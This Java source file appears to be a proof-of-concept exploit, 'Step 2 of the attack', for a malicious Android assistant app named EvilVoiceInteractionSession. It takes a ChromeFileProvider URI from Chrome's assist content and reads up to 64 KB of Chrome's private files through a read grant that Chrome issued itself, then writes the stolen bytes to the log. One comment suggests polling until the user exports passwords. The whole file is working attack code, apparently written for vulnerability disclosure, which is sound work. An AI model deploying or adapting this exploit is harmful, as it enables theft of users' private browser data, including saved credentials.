package com.evil.assistant;

import android.app.assist.AssistContent;
import android.content.Context;
import android.net.Uri;
import android.os.Bundle;
import android.service.voice.VoiceInteractionSession;
import android.util.Log;

import org.json.JSONObject;

import java.io.ByteArrayOutputStream;
import java.io.InputStream;

/**
 * Step 2 of the attack.
 *
 * The framework delivers Chrome's AssistContent here. Chrome's
 * PdfCoordinator.requestAssistContent() has just:
 *   1. called grantUriPermission(<our package>, mUri, FLAG_GRANT_READ_URI_PERMISSION)
 *   2. embedded mUri in the structured-data JSON under file_metadata.file_uri
 *
 * Because Chrome owns ChromeFileProvider and the provider is declared
 * android:grantUriPermissions="true", the framework has now recorded a READ
 * grant for our package on a path inside Chrome's private storage. We open it
 * directly and dump the bytes — proving cross-app private-file read.
 */
public class EvilVoiceInteractionSession extends VoiceInteractionSession {
    private static final String TAG = "EvilAssistant";
    private final String mExpectedTarget;

    public EvilVoiceInteractionSession(Context ctx, Bundle args) {
        super(ctx);
        mExpectedTarget = args != null
                ? args.getString(EvilVoiceInteractionService.EXTRA_TARGET_URI) : null;
    }

    @Override
    public void onHandleAssist(AssistState state) {
        super.onHandleAssist(state);
        AssistContent content = state.getAssistContent();
        if (content == null) {
            Log.w(TAG, "No AssistContent (EnterpriseInfo not cached yet?) — will retry.");
            hide();
            return;
        }

        String structured = content.getStructuredData();
        Log.i(TAG, "AssistContent.structuredData = " + structured);

        Uri grantedUri = null;
        try {
            JSONObject root = new JSONObject(structured);
            grantedUri = Uri.parse(
                    root.getJSONObject("file_metadata").getString("file_uri"));
        } catch (Exception e) {
            // Fall back to the URI we asked for — the grant is keyed on the
            // path, not on what came back in the JSON.
            if (mExpectedTarget != null) grantedUri = Uri.parse(mExpectedTarget);
        }

        if (grantedUri == null) {
            Log.w(TAG, "No file_uri in structured data.");
            hide();
            return;
        }

        Log.i(TAG, "*** Chrome granted us READ on: " + grantedUri);
        exfiltrate(grantedUri);
        hide();
    }

    private void exfiltrate(Uri uri) {
        try (InputStream is = getContext().getContentResolver().openInputStream(uri)) {
            if (is == null) {
                Log.w(TAG, "openInputStream returned null for " + uri);
                return;
            }
            ByteArrayOutputStream out = new ByteArrayOutputStream();
            byte[] buf = new byte[4096];
            int n, total = 0;
            while ((n = is.read(buf)) != -1 && total < 64 * 1024) {
                out.write(buf, 0, n);
                total += n;
            }
            Log.e(TAG, "==================================================");
            Log.e(TAG, "EXFILTRATED " + total + " bytes from Chrome private "
                    + "storage via ChromeFileProvider:");
            Log.e(TAG, uri.toString());
            Log.e(TAG, "----- first bytes -----");
            Log.e(TAG, new String(out.toByteArray(), 0, Math.min(total, 1024)));
            Log.e(TAG, "==================================================");
        } catch (java.io.FileNotFoundException fnf) {
            // Grant succeeded but the file does not exist *yet*. The grant
            // persists until Chrome's process dies, so we can poll later
            // (e.g. after the user exports passwords).
            Log.w(TAG, "Grant OK but file not present yet: " + uri
                    + " — will be readable as soon as Chrome creates it.");
        } catch (SecurityException se) {
            Log.e(TAG, "SecurityException — grant did NOT happen: " + se);
        } catch (Exception e) {
            Log.e(TAG, "exfiltrate failed", e);
        }
    }
}
